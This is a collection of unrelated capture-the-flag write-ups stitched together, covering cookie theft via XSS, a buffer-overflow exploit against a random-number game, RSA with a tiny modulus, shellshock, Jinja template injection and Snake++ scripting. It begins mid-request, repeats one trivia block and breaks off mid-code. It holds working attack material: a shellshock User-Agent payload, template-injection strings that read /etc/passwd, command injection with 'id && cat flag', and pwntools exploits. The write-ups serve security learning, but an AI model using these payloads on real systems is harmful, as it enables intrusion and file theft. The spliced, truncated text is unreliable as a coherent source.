x.x.x.x:1337Connection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Jamie's browserAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://127.0.0.1:3000/posts/642Accept-Encoding: gzip, deflateAccept-Language: en-US``` Then the cookie can be used to perform a request to `https://xmas.2020.chall.actf.co/admin` page. ```GET /admin HTTP/1.1Host: xmas.2020.chall.actf.coUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeCookie: super_secret_admin_cookie=hello_yes_i_am_admin;%20admin_name=JamieReferer: https://xmas.2020.chall.actf.co/adminUpgrade-Insecure-Requests: 1 HTTP/1.1 200 OKContent-Length: 2905Content-Type: text/html; charset=utf-8Date: Mon, 16 Mar 2020 00:07:35 GMTEtag: W/"b59-k/yKe0HiO0ZF+89xBSA/dXuyjnQ"Server: CaddyServer: nginx/1.14.1X-Powered-By: ExpressConnection: close <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="stylesheet" href="/bootstrap.css"> <link rel="stylesheet" href="/style.css"> <title>Anti-Xmas Warriors</title> <script defer src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script defer src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script defer src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body> <nav class="navbar navbar-expand-lg navbar-dark bg-primary"> Anti-Xmas Warriors <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> Home Post Report Admin </div> </nav> <div class="container mx-auto text-center partial-width pt-2"> <h1 class="display-4">Admin Landing Page</h1> Hey admins, you may have noticed that we've changed things up a bit. There's no longer any cumbersome, bruteforceable login system. All you need is the secret cookie verifying that you're an admin and you can get the flag anytime you want. Also, if you're not an admin PLEASE LEAVE THIS PAGE YOU DON'T BELONG HERE AND I WILL HUNT YOU DOWN AND RUIN YOUR DAY IF YOU STAY HERE. Disclaimer: I will not actually hunt you down or physically hurt you in any way, shape, or form, please don't sue me thanks. Oh hey admin! The flag is actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}.</div> </body></html>``` Hey admins, you may have noticed that we've changed things up a bit. There's no longer any cumbersome, bruteforceable login system. All you need is the secret cookie verifying that you're an admin and you can get the flag anytime you want. Also, if you're not an admin PLEASE LEAVE THIS PAGE YOU DON'T BELONG HERE AND I WILL HUNT YOU DOWN AND RUIN YOUR DAY IF YOU STAY HERE. Disclaimer: I will not actually hunt you down or physically hurt you in any way, shape, or form, please don't sue me thanks. Oh hey admin! The flag is actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}. The flag is the following. ```actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}```
## TROLL (50pts) ## ![TASK](https://imgur.com/AgJ7rGR.png) In this task we are supposed to win a game by guessing the next 100 random numbers , looking at the source code we can see the vulnerable gets function , after that we are setting the seedvalue to the time and finally the beginning of the loop and generating the random numbers and questions each time . ![MAIN](https://imgur.com/AApFQgK.png) My idea was to overwrite the seed value with our own value than BINGO we can generate the next random numbers and win the game , i have done things manually , i entered a unique seaquence and than observed with gdb if i have overwritten where the seed value is stored My input :> AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ ![TASK](https://imgur.com/XqjEzZQ.png) I have entered a sequence of alphabet characters and stopped in the call of srand function , you can see te RDI register(where the 1st argument passed to a function is stored) hold the value of "MMMM"so if we replace "MMMM" with the value we want , this value will be the seed for the random numbers. I have written this little C program to generate 100 random numbers using our chosen seed and stored them in a file :```c#include<stdlib.h>#include<stdio.h>#include<time.h> int main(int argc, char *argv[]){ int i=0;int seed=3472328296227680305 //0x1000 in decimalsrand(seed);for(i=0;i<=99;i++){ int a=rand()% 100000 + 1; printf("%d\n",a); } return 0;}``` After that i have written this exploit to overwrite the seed value with 0x1000 and answer the questions using the numbers we have generated ```pythonfrom pwn import *#p=process("./troll")p=remote("challenges.tamuctf.com",4765)p.recvuntil("Who goes there?")SEED="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP1000"p.sendline(SEED)log.info("Sent First payload")answers=open("answer","r")for line in answers: p.recvuntil("What is it?") log.info("sending answer: "+line) p.sendline(line)p.interactive() ```Note: the offset in the remote server is different, so i had to guess it xD However we got our flag : ![MAIN](https://imgur.com/QjwTHDR.png) This is the first time writing a pwn writeup so i hope you enjoyed it , any questions you can find me on twitter @BelkahlaAhmed1
# ALCAPONE Writeup ### Prompt Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone's personal computer but being the good detective he is, he got the disk image of the computer rather than look through the actual computer. Can you help Ness out and find any information to take down the mob boss? (hint: Al Capone knew his computer was going to be taken soon, so he deleted all important data to ensure no one could see it. Little did he know that Ness was smarter than him.) Direct Download link: https://tamuctf.com/themes/core/static/img/WindowsXP.img.xz ### Unintended Solution Um... `strings`? ```strings WindowsXP.img | grep 'gigem{'oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsisergoigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsisergoigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserggigem{Ch4Nn3l_1nN3r_3Li0t_N3$$}``` ### [Possibly] Intended Solution I installed [Autopsy](https://www.autopsy.com/), and opened the image file. Given the hint about the files having be deleted, we can look through the recycling bin and extract all the `flag??.txt` files (and those from the Administrator's Desktop) to [flags.zip](flags.zip). Then: ```unzip flags.txtcd flagsfor x in ./*; do strings $x | grep 'gigem{'; doneoigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsisergoigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg``` ```gigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}``` ~Lyell Read
Extraordinary=============658 points---------- this chall from an encrypted text:```b'6 \ x1d \ x0cT * \ x12 \ x18V \ x05 \ x13c1R \ x07u # \ x021Jq \ x05 \ x02n \ x03t% 1 \\ \\ x04 @ V7P x17aN '```and a Netcat connection. If we connect we simply find a machine which, given an input string, returns an output string.We certainly know that the first part of the flag is 'auctf {' because it is the flag format, and by inserting some input we realize that the algorithm always returns an output message except for the correct flag.we know that the flag contains only printable characters so,just try the various characters one by one in the oracle until the flag is completed.This chall was very quick to complete, I didn't feel the need to write a script.
# TriviaPassword 1 : `salt` Networking 1 : `application` Pwn 2 : `gadgets` Networking 2 : `DHCP` Reversing 2 : `obfuscation` Networking 3 : `ICMP` Networking 4 : `110.24.32.1 - 110.24.63.254` Password2 : `Trivia Yahoo!:2017` Forensics 2 : `Trivia Diffie–Hellman key exchange`
# TriviaPassword 1 : `salt` Networking 1 : `application` Pwn 2 : `gadgets` Networking 2 : `DHCP` Reversing 2 : `obfuscation` Networking 3 : `ICMP` Networking 4 : `110.24.32.1 - 110.24.63.254` Password2 : `Trivia Yahoo!:2017` Forensics 2 : `Trivia Diffie–Hellman key exchange`
Pretty Ridiculous=================50 points--------- The chall gave as ciphertext an array of integers and the values (n, e) = (627585038806247, 65537).This is clearly a public key of RSA and it is noted that the module n is particularly short, therefore it can most likely be factored in a short time:```python#!/usr/bin/python3import math def prime_factors(n): i = 2 factors = [] while i * i <= n: if n % i: i += 1 else: n //= i factors.append(i) if n > 1: factors.append(n) return factors if __name__ == "__main__": n = 627585038806247 e = 65537 p, q = prime_factors(n) print(p, q)```So with the factors p and q it is possible to calculate phi and therefore d:```python#!/usr/bin/python3import math def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m if __name__ == "__main__": p = 13458281 q = 46631887 ct = 145213650433152 e = 65537 phi = (p - 1) * (q - 1) d = modinv(e, phi) print(d)```Finally, only a simple equation remains to be calculated:m = c ** d% n ```python#!/usr/bin/python3import math def rsadecrypt(x, d, n): ch = pow(x, d, n) return ch if __name__ == "__main__": d = 119987789848673 n = 627585038806247 ct = [145213650433152, 4562349440334, 24272724667960, 598242834066721, 89584939111364, 426756492371444, 511701778613016, 551732685650248, 296367799892003, 63113462897284, 198510931603899, 321201931522255, 401044612595398, 542697603423052, 213898535689643, 275839755798105, 185841409622217, 551732685650248, 121188708737752, 401044612595398, 512808963720303, 275839755798105, 198510931603899, 275839755798105, 401044612595398, 174484844253615, 551732685650248, 174486913717420, 575163265381617, 213898535689643, 401044612595398, 49103824223436, 551732685650248, 401044612595398, 598242834066721, 202722428784490, 306606077829794, 53801100921263, 401044612595398, 184805755675232, 405971446461049, 296367799892003, 275839755798105, 275839755798105, 401044612595398, 358054299396778, 4562349440334, 320837325468842, 401044612595398, 202722428784490, 551732685650248, 321201931522255, 228350651363859] for c in ct: pc = rsadecrypt(c, d, n) print(chr(pc), end='') print('\n')```The full script:```python#!/usr/bin/python3import math #function to find prime factorsdef prime_factors(n): i = 2 factors = [] while i * i <= n: if n % i: i += 1 else: n //= i factors.append(i) if n > 1: factors.append(n) return factors def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) #function to calculate inverse moduledef modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m #function to calculate plaintextdef rsadecrypt(x, d, n): ch = pow(x, d, n) return ch if __name__ == "__main__": n = 627585038806247 e = 65537 ct = [145213650433152, 4562349440334, 24272724667960, 598242834066721, 89584939111364, 426756492371444, 511701778613016, 551732685650248, 296367799892003, 63113462897284, 198510931603899, 321201931522255, 401044612595398, 542697603423052, 213898535689643, 275839755798105, 185841409622217, 551732685650248, 121188708737752, 401044612595398, 512808963720303, 275839755798105, 198510931603899, 275839755798105, 401044612595398, 174484844253615, 551732685650248, 174486913717420, 575163265381617, 213898535689643, 401044612595398, 49103824223436, 551732685650248, 401044612595398, 598242834066721, 202722428784490, 306606077829794, 53801100921263, 401044612595398, 184805755675232, 405971446461049, 296367799892003, 275839755798105, 275839755798105, 401044612595398, 358054299396778, 4562349440334, 320837325468842, 401044612595398, 202722428784490, 551732685650248, 321201931522255, 228350651363859] p, q = prime_factors(n) phi = (p - 1) * (q - 1) d = modinv(e, phi) for c in ct: pc = rsadecrypt(c, d, n) print(chr(pc), end='') print('')```
# pybonbash1. uncompyle6First, we get a .pyc file, so we can do `uncompyle6 pybonbash.cpython-36.pyc` to convert to .py file 2. reverseThe program first compute the fibonacci sequence and store it as a list, whose length is 4919 + len(key) + len(data), where key is the flag that has length 42 and data that has length 204 computed by the given "hash.txt".Then, it sets data1 and data2 to two of characters in data, while key1 and key2 are set to two of characters in key.At last, it uses md5(data1 + data2) as plaintext and (key1 + key2)x16 as key in AES-ECB to output a hex(cipher) into "hash.txt". 3. Start crackingWe don't know both data and key, but we can know that md5(data1 + data2) is composed of '0123456789abcdef', so we try all the combinations of key1 and key2 and check whether the decrypted text is in md5 form.
![Description](/auctf2020/img/description.png) Clicking the link took me to the default apache page, so I decided to go straight into gobuster to find other pages. ![Gobuster](/auctf2020/img/gobuster.png) First time I ran it the /cgi-bin/ directory stood out to me, so I ran it again on that directory and discovered the scriptlet file located within. ![Scriptlet](/auctf2020/img/whoami.png) This appears to be a bash script that just runs whoami. Since this is bash, let's try exploiting shellshock. (cgi-bin + ctf - user input = shellshock) To begin, I intercepted the request firefox was making to the script in burpsuite ![Burp1](/auctf2020/img/burp1.png) And then hitting ctrl + R to send it to the repeater to make things eaiser.![Burp2](/auctf2020/img/burp2.png) To test for shellshock, we can replace the user agent string with `() { :;}; echo; echo vulnerable` . If the response from the server contains the word `vulnerable`, we have a hit. And it did.![Burp3](/auctf2020/img/burp3.png) My home network wouldn't allow me to catch a reverse shell, but burpsuite is all the shell I need at this point. After some poking around, I found something interesting at / (full path for ls was required) ![Burp3](/auctf2020/img/binls.png) catting the file revealed hex data![Burp3](/auctf2020/img/bincat.png) So I threw that into cyberchef and decoded from hex. After decoding that cyberchef was nice enough to point out that this was gzipped data and just handed me the flag.![Burp3](/auctf2020/img/cyberchef.png) Success! This was a really fun challenge.
Given message.txt file which consists of many cipher texts and also (n,e) = (627585038806247,65537) are given.Since they've given ciphertext and publickey exponent we only need to find private key exponent.To find the value of d, we need to find p and q valuesModulus (n) can be factorized by using online factorization tool [factordb](http://http://factordb.com/).```from Crypto.Util.number import *c = [145213650433152, 4562349440334, 24272724667960, 598242834066721, 89584939111364, 426756492371444, 511701778613016, 551732685650248, 296367799892003, 63113462897284, 198510931603899, 321201931522255, 401044612595398, 542697603423052, 213898535689643, 275839755798105, 185841409622217, 551732685650248, 121188708737752, 401044612595398, 512808963720303, 275839755798105, 198510931603899, 275839755798105, 401044612595398, 174484844253615, 551732685650248, 174486913717420, 575163265381617, 213898535689643, 401044612595398, 49103824223436, 551732685650248, 401044612595398, 598242834066721, 202722428784490, 306606077829794, 53801100921263, 401044612595398, 184805755675232, 405971446461049, 296367799892003, 275839755798105, 275839755798105, 401044612595398, 358054299396778, 4562349440334, 320837325468842, 401044612595398, 202722428784490, 551732685650248, 321201931522255, 228350651363859] n = 627585038806247e = 65537#factorize n to get values of p & qp = 13458281q = 46631887 phi = (p-1)*(q-1)d = inverse(e,phi)m = ''for i in c: m += long_to_bytes(pow(i,d,n))print m```**Flag: auctf{R34lLy_Pr1M3s_w1L1_n3vEr_b3_thI5_Sm411_BuT_h3y}**
# GEOGRAPHY Writeup ### Prompt My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111. She's always been a bit cryptic. She told me to "surround with gigem{} that which can be seen from a bird's eye view"... what? ### Solution Ok. We know that we need to somehow interpret those binary strings as coordinate(s) to get a location that we can look at from "bird's eye view" (presumably on Google Maps). I went through many trials of this, from converting the bits to { string, hex, decimal, octal } and using those as coordinates, and calculating geohashes { http://geohash.co/, https://www.dcode.fr/geohash-coordinates } to get locations out of these things, all to end up with locations in the Pacific or in Russia or Antarctica, with nothing at all there. Coincidentally, I was sure that each set of bits corresponded to a *pair* of coordinates (latitude and longitude), so I would get a line that I needed to read along (or something) between those points, from a "bird's eye view". OK, those were wrong, so back to basics. I googled "binary string length 32 coordinates geographical", leading me to [this article](https://www.thethingsnetwork.org/forum/t/best-practices-when-sending-gps-location-data-howto/1242). In it, user `arjanvanb` describes: > In decimal degrees, a longitude with 4 decimals, -180.0000…+180.0000 might need 9 bytes when sending as plain characters (or 8 when leaving out the decimal dot), and probably another byte for some separator. But it also nicely fits in 3 bytes (like -8,388,608 to 8,388,607 as a 24 bit signed integer if you first multiply by 10,000). When one needs more decimals, using 4 bytes for a standard 32 bit float [59], or multiplying by 100,000 and sending as a standard 32 bit signed long [41], will give more than 7 decimals. Thank you, Arjan! From that, I tried converting these 32-bit binary strings into floats using [IEEE 754 Converter](https://www.h-schmidt.net/FloatConverter/IEEE754.html) and I got: ```11000010100011000111111111101110 : -70.2498611000001100101000011101111011111 : -18.529234 ``` When ordered (-70.24986, -18.529234), we get [this spot](https://earth.google.com/web/@-70.24986,-18.529234,72.67408088a,328.68889373d,35y,0h,45t,0r/data=CjkaNxIxCgAZByXMtP2PUcAhZ-4h4XuHMsAqGzcwwrAxNCc1OS41IlMgMTjCsDMxJzQ1LjIiVxgCIAEoAg), in the middle of the ocean, above Antarcitca... Nothing doing. However, when ordered the other way, (-18.529234, -70.24986), we come across [this spot](https://earth.google.com/web/@-18.52933711,-70.24988924,174.8925544a,155.32728959d,35y,23.907023h,18.45174211t,360r), at 18°31'45.2"S, 70°14'59.5"W. ![Image](geography.png) Thanks to the TAMUCTF organizers for being reasonable and providing the flag once I proved I got the right location, as I would have had to try a bunch of possibilities: ```gigem{CocaCola125anos}gigem{cocacola125anos}gigem{coca-cola-125-anos}gigem{Coca-Cola-125-anos}...``` To get the flag: ```gigem{coca-cola}``` ~Lyell Read
# Pretty Ridiculous ```pythonimport binasciiimport sympy c = [145213650433152, 4562349440334, 24272724667960, 598242834066721, 89584939111364, 426756492371444, 511701778613016, 551732685650248, 296367799892003, 63113462897284, 198510931603899, 321201931522255, 401044612595398, 542697603423052, 213898535689643, 275839755798105, 185841409622217, 551732685650248, 121188708737752, 401044612595398, 512808963720303, 275839755798105, 198510931603899, 275839755798105, 401044612595398, 174484844253615, 551732685650248, 174486913717420, 575163265381617, 213898535689643, 401044612595398, 49103824223436, 551732685650248, 401044612595398, 598242834066721, 202722428784490, 306606077829794, 53801100921263, 401044612595398, 184805755675232, 405971446461049, 296367799892003, 275839755798105, 275839755798105, 401044612595398, 358054299396778, 4562349440334, 320837325468842, 401044612595398, 202722428784490, 551732685650248, 321201931522255, 228350651363859] n, e = 627585038806247, 65537 p, q= 13458281, 46631887 phi = (p-1)*(q-1) d = sympy.mod_inverse(e, phi) out = ''for i in c: out += chr(pow(i, d, n))print(out)``` `auctf{R34lLy_Pr1M3s_w1L1_n3vEr_b3_thI5_Sm411_BuT_h3y}`
# Mask This website was developed in Flask. And it uses Jinja as a template engine. this was specifically mentioned on the website. So there must be some kind of template injection, to check I submitted `{{ 40 + 2 }}` and it rendered `42` on the page.![42](1.png) Then I tried to get `/etc/passwd` with the following template```python{{ ''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}```![etc/passwd](2.png) It worked! Next thing to do was to find where the flag was stored, ```python{{ ''.__class__.__mro__[2].__subclasses__()[40]("flag.txt").read() }}```And it worked!![Flag](3.png) > ### LLS{server_side_template_injection_unmasked}
The sequence is the first 10 numbers generated by python3's `randint(0,127)` (ascii) seeded with the value `0`. ```pythonimport randomrandom.seed(0)[random.randint(0,127) for _ in range(5)]print(', '.join(str(random.randint(0,127)) for _ in range(5)))``` Answer:```103, 77, 122, 91, 55```
TLDR;1) Find out that the program is computing a recursive function inefficiently (the function has overlapping subproblems, fibonacci-like)2) Get an overview of the recursive function (the parameters changing between the calls)3) Perform memoization from a shellcode in assembly, by patching the function prologue and epilogue, and caching the computed results (without paying attention to the details of how the function works)
# Snake++ Snake Oil Co. has invented a special programming language to play their new and improved version of Snake. Beat the game to get the flag. `nc snakeplusplus-01.play.midnightsunctf.se 55555` --- When connecting to the server we get two options; play the game in human mode or computer mode.The goal of this challenge is to win a game of snake. However there is a twist! In human mode you play a game of snake, but there are one more feature! There are good apples that increase your length,and bad apples that decrease it. Instead of picking up bad apples, you can shoot them. To control the snake you have tosend in "L" for turning left, "R" for turning right, " " for shooting and "" for going straight. The goal is to reach 42in score. The board is 30x20 (also counting the walls of the board). Playing human mode will not give us the flag, instead we get the following message ```Score: 42+----------------------------+| || || || || || || || || v<<<<<<<< ^ || v ^ ^ || v ^ ^ || v ^< ^ || v ^ || v ^ || >>>>>>>>>>>>>>>>>^ || || B || |+----------------------------+Congratulations! You win!!Now use Snake++ to automate it.``` In computer mode you have to use a custom programming language (Esoteric language) that uses registers, ROM, RAM,if-else-statements and much more. Here is the documentation of Snake++ ```Snake++ Programming Language============================ Using the Snake++ programming language, you can analyze the snake's environmentand calculate its next move, just like in the regular game. Registers and memory-------------------- Snake++ operates on 8 registers and 3 memory areas. We distinguish betweentext and numbers. There are 4 registers than can hold text, named: apple, banana, cherry anddate. There are 4 registers that can hold numbers, named: red, green, blue andyellow. All 3 memory areas are 30 by 20 cells in size (just like the map of the world).There is one RW memory area for text (TEXTRAM), and one for numbers (NUMRAM).There is also one readonly memory area for text (TEXTROM). Comments-------- Any line starting with the '#' character is ignored. Loading, storing and assigning------------------------------ The following operators allow loading from and storing into memory: Loading from RAM: <register> ~<8~~~ <x> <y>;Storing into RAM: <register> ~~~8>~ <x> <y>;Loading from ROM: <register> ~<8=== <x> <y>; Note that there is no operator to store into ROM. The memory area isautomatically selected based on the register and the operator. For instance,to load a number from NUMRAM row 7, column 5 into the blue register: blue ~<8~~~ 5 7; Likewise, to store a text from the apple register into TEXTRAM row 0, column12: apple ~~~8>~ 12 0; Finally, since there is only ROM for text data: banana ~<8=== 5 6; Values can also be assigned to registers using the := operator: blue := 5; cherry := "abc"; Arithmetic---------- The following arithmetic operations are defined on numbers: + - / *And for text, only + is defined.Formulas can be enclosed in parentheses. e.g.: blue ~<8~~~ (red+6) (green/2); red := blue + green * 2; banana := cherry + "x" + date; Statements---------- A program in Snake++ consists of a sequence of statements, each ending with asemicolon. Each of the load, store and assignment operations described aboveare statements. There are also statements for logging numbers and text (logand logText respectively), returning a value to the game, if-then-elsebranching and sliding to a label. Logging Statements------------------ to log the value of the blue register + 3: log blue+3; to log the banana text register: logText banana; Return Statement---------------- Returning a text value will end the Snake++ program and hand control back tothe Snake game in progress. The returned value can be used to control thesnake, and should be "", " ", "L" or "R". (See game instructions). Only textvalues can be returned. example: return "R"; If-Then-Else Statement---------------------- Works as you'd expect: if <condition> then <sequence of statements> fi;if <condition> then <sequence of statements> else <sequence of statements> fi; Of note is the condition. It is possible to compare numbers to numbers, or textto text. For numbers, the operators are: ==, <>, >, >=, <, <=For text, the operators are: == and <>In each case, <> means "does not equal". Example: if blue < yellow-3 then logText "Looking good"; else logText "This is not good"; blue := yellow - 3; fi; Labels and Slide Statement-------------------------- It is possible to label a statement by placing a label in front of it.Labels are sequences of characters enclosed with curly braces.For instance, the following statement is labeled {example}: {example} blue := 5; During execution, it is possible to slide over from the current statement toanother labeled statement. Example: green := 0; {loop} green := green + 1; if green < 10 then log green; slide {loop}; fi; Caution: it is only possible to slide to a labeled statement in the same or theencompassing codeblock. Program execution----------------- The execution environment for your Snake++ program is kept alive during theentire game. Before the game moves the snake, it will execute your (entire)Snake++ program to determine what to do. You should use the return statementto return one of "", " ", "R" or "L". For each execution of your program, only the TEXTROM and registers will bealtered. TEXTROM will contain the worldmap, as also seen when playing the gameas a human. All registers are wiped. The coordinates of the head of the snakeare placed in the blue (X-coordinate) and yellow (Y-coordinate) registers.``` The easiest way to solve this in my opinion is to make the snake move in the following pattern: ``` 0. +----------------------------+ 1. |>v>v>v>v>v>v>v>v>v>v>v>v>v>v| 2. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v| 3. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v| 4. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v| 5. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v| 6. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v| 7. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v| 8. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v| 9. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v|10. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v|11. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v|12. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v|13. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v|14. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v|15. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v|16. |^v^v^v^v^v^v^v^v^v^v^v^v^v^v|17. |^>^>^>^>^>^>^>^>^>^>^>^>^>^v|18. |^<<<<<<<<<<<<<<<<<<<<<<<<<<<|19. +----------------------------+```1. Only in the beginning, turn the snake to make it go upwards2. Make the snake go upwards until it reaches the top3. Right before the top is reached, turn to the right two times and go down4. Before reaching line 17. turn left until facing upwards and then continue up.5. Follow this pattern until reaching the end of the right side.6. Go all the way left using line 18, and continue the same pattern.7. When going up or down, check the next position snake is going, if that position contains a bad apple, shoot it! Here is the code I wrote to solve the challenge. One might have to run it a few times, as bad apples while turning are nottaken into account, and the snake needs to go upwards on an oddly number column for the pattern to work correctly. ```bashlogText "POS:";logText "X:";log blue; logText "Y:";log yellow; #logText "DIR:"; banana ~<8=== blue yellow;logText banana; # Load initial start variablegreen ~<8~~~ 2 0;#log green; # Load pending turnsapple ~<8~~~ 8 0;#logText apple; # Load left or right direction variablecherry ~<8~~~ 12 0; # We are on our way left, need one more turnif apple == "turnleft" then apple := ""; apple ~~~8>~ 8 0; return "L";fi; # We are on our way right, need one more turnif apple == "turnright" then if yellow == 18 then if blue > 2 then return ""; fi; fi; apple := ""; apple ~~~8>~ 8 0; return "R";fi; # All the way right, lets go leftif blue == 28 then cherry := "left"; cherry ~~~8>~ 12 0;fi; # All the way left, lets go rightif blue == 1 then cherry := "right"; cherry ~~~8>~ 12 0;fi; # Initialize directionif green == 0 then if banana == "<" then logText "Going left, lets go up"; return "R"; else if banana == ">" then logText "Going right, lets go up"; return "L"; else if banana == "^" then logText "Going up, keep going"; else if banana == "v" then logText "Going down, lets go up"; return "R"; fi; fi; fi; fi;fi; green := 1;green ~~~8>~ 2 0; if banana == "^" then {loopup} if yellow > 2 then date ~<8=== blue yellow-1; if date == "B" then logText "shooting up"; return " "; fi; logText "going up"; return ""; fi; {godown} if cherry == "right" then logText "Turning right"; apple := "turnright"; apple ~~~8>~ 8 0; return "R"; else logText "Turning left"; apple := "turnleft"; apple ~~~8>~ 8 0; return "L"; fi;fi; if banana == "v" then {loopdown} if yellow < 16 then date ~<8=== blue yellow+1; if date == "B" then logText "shooting down"; return " "; fi; logText "going down"; return ""; fi; if yellow == 16 then if blue == 28 then return ""; fi; fi; {goup} if cherry == "right" then logText "Turning left"; apple := "turnleft"; apple ~~~8>~ 8 0; return "L"; else logText "Turning right"; apple := "turnright"; apple ~~~8>~ 8 0; return "R"; fi;fi; logText "THE END!";.``` Running it yields the flag!```A job well done using our proprietary programming language!Here is something for your effort: midnight{Forbidden_fruit_is_tasty}```
Username and password are hardcoded in the source and the strncmp checks that the first two chars must be "id".```pythonfrom pwn import * s = remote("admpanel-01.play.midnightsunctf.se", 31337) s.sendline("1")s.sendline("admin")s.sendline("password")s.sendline("1")s.sendline("id && cat flag")s.interactive()```
# PaTeRn ![](PaTeRn.png) Even though I was not able to solve this challenge in time I will still provide two possible ways to find the flag here.Both tecnically work the same. ![](scramble.png)*scramble.png* ## 1. The intended way Apparently the background was purely random pixels (33% black).However if you deleted every pixel but every 3rd per row and column you were left with this. ```pythonfrom PIL import Image pixelsize = 10 img = Image.open('scramble.png') def process(): nev = Image.new("RGB", (8880, 360), color=0) for j in range(8880 * 360): if int(j/pixelsize)%3 == 0 and int(int(j/8880)/pixelsize)%3 == 0: nev.putpixel((j%8880, int(j/8880)), img.getpixel((j%8880, int(j/8880)))) else: nev.putpixel((j%8880, int(j/8880)), (255, 255, 255)) nev.save('result.png') process()```![](result.png) If you clean this up you apparently get this: ![](flag.png)*Milkdrops solution - at least he provided it* ## 2. My solution My general idea was to shift the "linebreaks". This got me some trippy image sequences but not the solution.After knowing the solution however I could simply make my script go to the correct solution by still just shifting linebreaks (both horizontally and vertically).Before I could do so however I had to resize the scramble image to `888 x 36` px as each pixel was actually `10 x 10` pixels. Afterwars I could simply run my updated script:```pythonfrom PIL import Image def process(i): nev = Image.new("RGBA", (888 * 3, int(36/3)), color=0) for j in range(888 * 36): nev.putpixel((j%i, int(j/i)), img.getpixel((j%888, int(j/888)))) nev.save("tmp.png") def process2(): nev = Image.new("RGBA", (888, 36), color=0) for j in range(888 * 36): nev.putpixel((int(j/36), j%36), img.getpixel((int(j/(36/3)), j%(36/3)))) nev.save('solution.png') img = Image.open('scramble.png')process(888 * 3)img = Image.open('tmp.png')process2()``` This gave me the following image:![](solution.png) ### Flag: `X-MAS{Y0U_KNOW_HOW_7O_5OLV3_4_PUZZLE}`
# Cracker Barrel (315 solves) > I found a USB drive under the checkers board at cracker barrel. My friends told me not to plug it in but surely nothing bad is on it? I found this file, but I can't seem to unlock it's secrets. Can you help me out? Also.. once you think you've got it I think you should try to connect to `challenges.auctf.com` at port `30000` not sure what that means, but it written on the flash drive.. Author: nadrojisk ## Solution: There 3 checks that we should pass in order to get the flag: #### check 1: ```c++strcmp(input, "starwars")``` #### check 2: ```c++bool check2(char* input){ int i; int len; char *v4; len = strlen(input); v4 = (char *)malloc_0(8LL * (len + 1)); for ( i = 0; i < len; ++i ) v4[i] = flag1[len - 1 - i]; return strcmp(v4, input) == 0;}``` input should be `'si siht egassem terces'[::-1] ='secret message this is'` #### check 3: ```c++int check3(char *a1){ __int64 v1; unsigned __int64 v2; unsigned __int64 v3; __int64 result; int i; int v6; int j; int *v8; int v9[10]; v7[0] = 'z'; v7[1] = '!'; v7[2] = '!'; v7[3] = 'b'; v7[4] = '6'; v7[5] = '~'; v7[6] = 'w'; v7[7] = 'n'; v7[8] = '&'; v7[9] = '`'; v1 = strlen_0(a1); v6 = (int *)malloc_0(4 * v1); for ( i = 0; i < (unsigned __int64)strlen_0(a1); ++i ) v6[i] = (a1[i] + 2) ^ 0x14; v4 = 0; for ( j = 0; j < 